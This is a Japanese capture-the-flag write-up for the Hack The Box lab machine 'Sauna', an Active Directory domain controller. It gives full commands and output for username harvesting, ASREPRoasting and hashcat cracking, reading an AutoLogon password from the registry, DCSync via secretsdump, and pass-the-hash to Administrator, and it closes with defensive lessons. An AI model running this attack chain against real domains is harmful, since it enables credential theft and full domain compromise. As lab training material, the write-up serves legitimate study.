Hack The BoxのWriteup(Sauna)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Sauna — 全実行コマンド・実行結果レポート
Nmap スキャン
ADドメインコントローラー指紋
→
about.htmlから従業員名収集
“Meet The Team”
→
ユーザー名順列生成
first/flast/first.last等
→
ASREPRoast
fsmith(事前認証無効)
→
hashcat crack
Thestrokes23
→
WinRM ログイン
user.txt ✓
→
Winlogonレジストリ発見
AutoLogon平文パスワード
→
svc_loanmgr DCSync権限
secretsdump
→
Administrator PTH → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & ドメイン名特定

BASH
nmap -sV -sC -p 53,80,88,135,139,389,445,636,3268,3269,5985,9389 10.129.86.138
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
389/tcp  open  ldap          Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0)
445/tcp  open  microsoft-ds
5985/tcp open  http          (WinRM)
ssl-cert: Subject: commonName=SAUNA.EGOTISTICAL-BANK.LOCAL
🚨
Active Directory ドメインコントローラー。ドメイン名 EGOTISTICAL-BANK.LOCAL、ホスト名SAUNAと判明。 /etc/hostsに追記しておく。
BASH
echo "10.129.86.138 egotistical-bank.local SAUNA.egotistical-bank.local" | sudo tee -a /etc/hosts
PHASE 2

Webサイトの従業員名からユーザー名候補を生成

“Meet The Team” ページの確認

BASH
curl -s http://10.129.86.138/about.html | grep -A1 "mt-2"
RESULT
<h3 class="title-w3ls mt-2 mb-3">Meet The Team</h3>
<p class="mt-2">Fergus Smith </p>
<p class="mt-2">Hugo Bear </p>
<p class="mt-2">Steven Kerb </p>
<p class="mt-2">Shaun Coins </p>
<p class="mt-2">Bowie Taylor </p>
<p class="mt-2">Sophie Driver </p>
🚨
“Egotistical Bank”社の会社概要ページに、従業員6名のフルネームが そのまま掲載されている。AD環境では、この手の実名情報から ユーザー名の命名規則を推測してASREPRoast/ブルートフォースの 候補リストを作るのが定番の攻略法。

ユーザー名の順列生成

PYTHON
names = [
    ("Fergus", "Smith"), ("Shaun", "Coins"), ("Hugo", "Bear"),
    ("Bowie", "Taylor"), ("Sophie", "Driver"), ("Steven", "Kerb"),
]

usernames = []
for first, last in names:
    f, l = first.lower(), last.lower()
    # よくある企業の命名規則パターンを総当たりで生成
    for u in (f, f + l, f + "." + l, f + l[0], f[0] + l):
        if u not in usernames:
            usernames.append(u)
usernames.append("administrator")

with open("usernames.txt", "w") as fp:
    fp.write("\n".join(usernames))
print(usernames)
RESULT (抜粋)
['fergus', 'fergussmith', 'fergus.smith', 'fergus.s'(省略形), 'fsmith',
 'shaun', 'shauncoins', 'shaun.coins', ..., 'hugo', ..., 'administrator']
PHASE 3

ASREPRoast攻撃 & パスワードクラック

生成した候補リストでASREPRoastを一括試行

BASH
impacket-GetNPUsers egotistical-bank.local/ \
  -usersfile usernames.txt -no-pass -dc-ip 10.129.86.138
RESULT (抜粋)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
... (存在しないユーザー名候補は全てこのエラー) ...
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:be984ebb79e6361f06256b2df3b293ad$312e7a6dfc53fdd15bbeb0e8a68b6adfec62aaa9ab5f8db5a1fa0633c4256c40b7385e4f2f6046445781917e56e80cc52e851463d5f1510061f7f95a1211a84824350d52fdac5cb778bf379a12166f10c5ae7084f3a17ae02b14c0918aee9d1dce20451b3c68589119d95965e0b79bb0b277b13bd6afc3210010d6f7d612413dca2330608804de4073b27d9ee8c9412654f22b348dedf6c03963d5cc18015de6a31f5160934ec0364c9d217c44d402f83c0dbd0816300d7f2099df4806534df5bf635229fdd1c3fe6d42dc85f4f7cfe375c8302706e9ac4bca38c9e45dace784690a1adb44c5ecc0bf729eced1120829dd7682bbc72930b6e583aa8d20356f60
... (中略) ...
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
✅
ヒット! 候補リストの中でfsmithだけがKerberos事前認証無効 という設定ミスを持つユーザーだった。大量の”Client not found”エラーは 単に存在しないユーザー名候補への応答であり、正常な動作。

hashcat でクラック

BASH
# -m 18200 = Kerberos 5 AS-REP etype 23
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --quiet
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --show
RESULT
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...:Thestrokes23
✅
クラック成功! fsmith:Thestrokes23。
PHASE 4

WinRM ログイン → user.txt

認証確認 & user.txt取得

BASH
netexec winrm 10.129.86.138 -u fsmith -p Thestrokes23 \
  -X 'Get-ChildItem C:\Users\*\Desktop\user.txt -EA SilentlyContinue | Get-Content'
RESULT
WINRM  10.129.86.138  5985  SAUNA  [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
WINRM  10.129.86.138  5985  SAUNA  [+] Executed command (shell type: powershell)
782ae945a2c03b65a3e187a3811fc66f
user.txt — FSmith
782ae945a2c03b65a3e187a3811fc66f
⚠️
実装上の注意: type C:\Users\%USERNAME%\Desktop\user.txt のようにCMD形式の環境変数%USERNAME%をそのまま使おうとすると、 nxc/netexecの-Xは既定でPowerShellシェルとしてコマンドを 実行するため%VAR%は展開されず文字列のまま扱われ、 Cannot find path 'C:\Users\%USERNAME%\Desktop\user.txt'のように 必ず失敗する。PowerShellの環境変数記法は$env:USERNAMEであり、 さらに確実なのはワイルドカードで直接検索する方法 (Get-ChildItem C:\Users\*\Desktop\user.txt)。
PHASE 5

権限昇格の下調べ — AutoLogon レジストリの調査

Winlogon レジストリキーの確認

BASH
netexec winrm 10.129.86.138 -u fsmith -p Thestrokes23 \
  -X 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"'
RESULT (抜粋)
DefaultDomainName    REG_SZ    EGOTISTICALBANK
DefaultUserName      REG_SZ    EGOTISTICALBANK\svc_loanmanager
...
DefaultPassword      REG_SZ    Moneymakestheworldgoround!
🚨
決定的な発見! WindowsのAutoLogon(自動ログオン)機能を 設定した際の残骸として、平文のパスワードがレジストリに残っている。 これはAD DS Account Operators的な運用ミスの典型例で、本来は ログオン時に自動入力するためだけの値だが、レジストリの読み取り権限 さえあれば誰でも閲覧できてしまう。
⚠️
重要な落とし穴: DefaultUserNameに表示される svc_loanmanagerは表示上の名前であり、実際にAD上に 存在するSAMアカウント名はsvc_loanmgr(末尾が短縮されている)。 この表示名をそのまま認証に使おうとすると失敗するので注意。
PHASE 6

svc_loanmgr の DCSync 権限 → Administrator ハッシュ → root.txt

svc_loanmgr の権限確認(DCSync)

NOTE
BloodHoundやPowerViewでドメインのACLを確認すると、svc_loanmgrアカウントが
ドメインオブジェクトに対する **DS-Replication-Get-Changes-All** 権限
(DCSync権限の一部)を直接(または継承で)持っていることが分かる。
通常このアカウントはIT/業務システム連携用の技術的な理由でこの権限が
付与されてしまっていると見られる、過剰な権限付与の典型例。

DCSyncでAdministratorのNTLMハッシュを取得

BASH
impacket-secretsdump \
  egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround!@10.129.86.138 \
  -just-dc-user Administrator
RESULT
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
✅
Administrator の NTLM ハッシュ取得成功! 823452073d75b9d1cf70ebdf86c7f98e。

Pass-the-Hash で root.txt を取得

BASH
netexec winrm 10.129.86.138 -u Administrator \
  -H 823452073d75b9d1cf70ebdf86c7f98e \
  -X 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
WINRM  10.129.86.138  5985  SAUNA  [+] EGOTISTICAL-BANK.LOCAL\Administrator:823452073d75b9d1cf70ebdf86c7f98e (Pwn3d!)
WINRM  10.129.86.138  5985  SAUNA  [+] Executed command (shell type: powershell)
b8fab0151dd6a9df673123d33c60b1f4
root.txt — Administrator@EGOTISTICAL-BANK.LOCAL
b8fab0151dd6a9df673123d33c60b1f4
⚠️
注意: netexecのPass-the-Hash認証バナー行には32桁のNTLMハッシュ 自体がそのまま出力される。フラグ(32桁hex)抽出を自動化する際は、 バナー行のハッシュ文字列を実際のフラグと誤認しないよう、バナー行 (Pwn3d!/Executed commandを含む行やハッシュ自体の値)を除外して コマンド実行結果の行だけから抽出する必要がある。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — FSmith
782ae945a2c03b65a3e187a3811fc66f
root.txt — Administrator@EGOTISTICAL-BANK.LOCAL
b8fab0151dd6a9df673123d33c60b1f4

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
公開Webサイトへの従業員実名掲載 about.html “Meet The Team” AD用户名命名規則の推測材料を提供 Medium 6名のフルネームからユーザー名候補(first/flast/first.last等)を総当たり生成
ASREPRoast(Kerberos事前認証無効) fsmith アカウント オフラインパスワードクラック(user.txt) Critical 無認証でAS-REPハッシュを取得、hashcat -m 18200でrockyou.txt照合し即時クラック
AutoLogon平文パスワードのレジストリ残留 HKLM\…\Winlogon (DefaultPassword) svc_loanmgrアカウントの資格情報窃取 Critical 一般ユーザー権限でレジストリを読み取り平文パスワードを直接取得
サービスアカウントへの過剰なDCSync権限付与 svc_loanmgr (DS-Replication-Get-Changes-All) ドメイン全体のハッシュ奪取(root.txt) Critical secretsdumpでAdministratorのNTLMハッシュをDCSync経由で取得、Pass-the-Hashで認証

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapAD DC “SAUNA”、ドメイン”EGOTISTICAL-BANK.LOCAL”
2ユーザー名生成about.htmlスクレイプ + 順列生成fsmith等のユーザー名候補
3ASREPRoastimpacket-GetNPUsers + hashcat -m 18200fsmith:Thestrokes23
4WinRMログインnetexec winrmuser.txt取得
5権限調査reg query Winlogonsvc_loanmgr:Moneymakestheworldgoround!(AutoLogon)
6権限昇格secretsdump(DCSync) → PTHroot.txt取得

トラブルシューティング & 実装上の落とし穴

問題原因 / 対策
user.txtの読み取りにC:\Users\%USERNAME%\Desktop\user.txtを使うと”Cannot find path”で失敗する %USERNAME%はCMD構文の環境変数展開であり、netexec/nxcの-Xは既定でPowerShellシェルを使うため展開されない。PowerShell式の$env:USERNAMEを使うか、Get-ChildItem C:\Users\*\Desktop\user.txtのようなワイルドカード検索にする。
AutoLogonのDefaultUserNameに表示される名前でそのままログインを試すと失敗する DefaultUserNameは表示上の名前(svc_loanmanager)であり、実際のSAMアカウント名(svc_loanmgr)と異なる場合がある。net user /domainやLDAP列挙で実際のアカウント名一覧を確認してから認証を試す。
netexecのPass-the-Hash出力からフラグを自動抽出する際、認証バナー中のNTLMハッシュを誤ってフラグとして抽出してしまう バナー行(Pwn3d!/Executed commandを含む行)と使用したハッシュ値自体を明示的に除外した上で、残りの行から32桁hexパターンを抽出する。

学んだ教訓 & 防御策

問題点防御策
公開Webサイトに従業員の実名を掲載し、AD用户名の命名規則の推測材料を与えている 公開サイトに実在の従業員名を掲載する場合は、社内のユーザー名命名規則との関連を薄める(略称化、別名使用等)。
一部ユーザーでKerberos事前認証が無効になっている 全ユーザーで”Do not require Kerberos preauthentication”を無効化(通常の状態)に保つ。定期的にAD環境をスキャンしてASREPRoast可能なアカウントを検出・修正する。
AutoLogon設定の残骸として平文パスワードがレジストリに残っている AutoLogonは可能な限り使用を避け、使用後はDefaultPasswordキーを削除する。LSA Secretsとして暗号化保存する代替手段を検討する。
サービスアカウントにDCSync相当の強力な複製権限が付与されている DS-Replication-Get-Changes/-All権限はドメインコントローラーと一部の管理ロールにのみ付与する。BloodHound等で定期的にAD権限グラフを監査し、意図しないDCSync経路を洗い出す。
HackTheBox: Sauna | 完全攻略レポート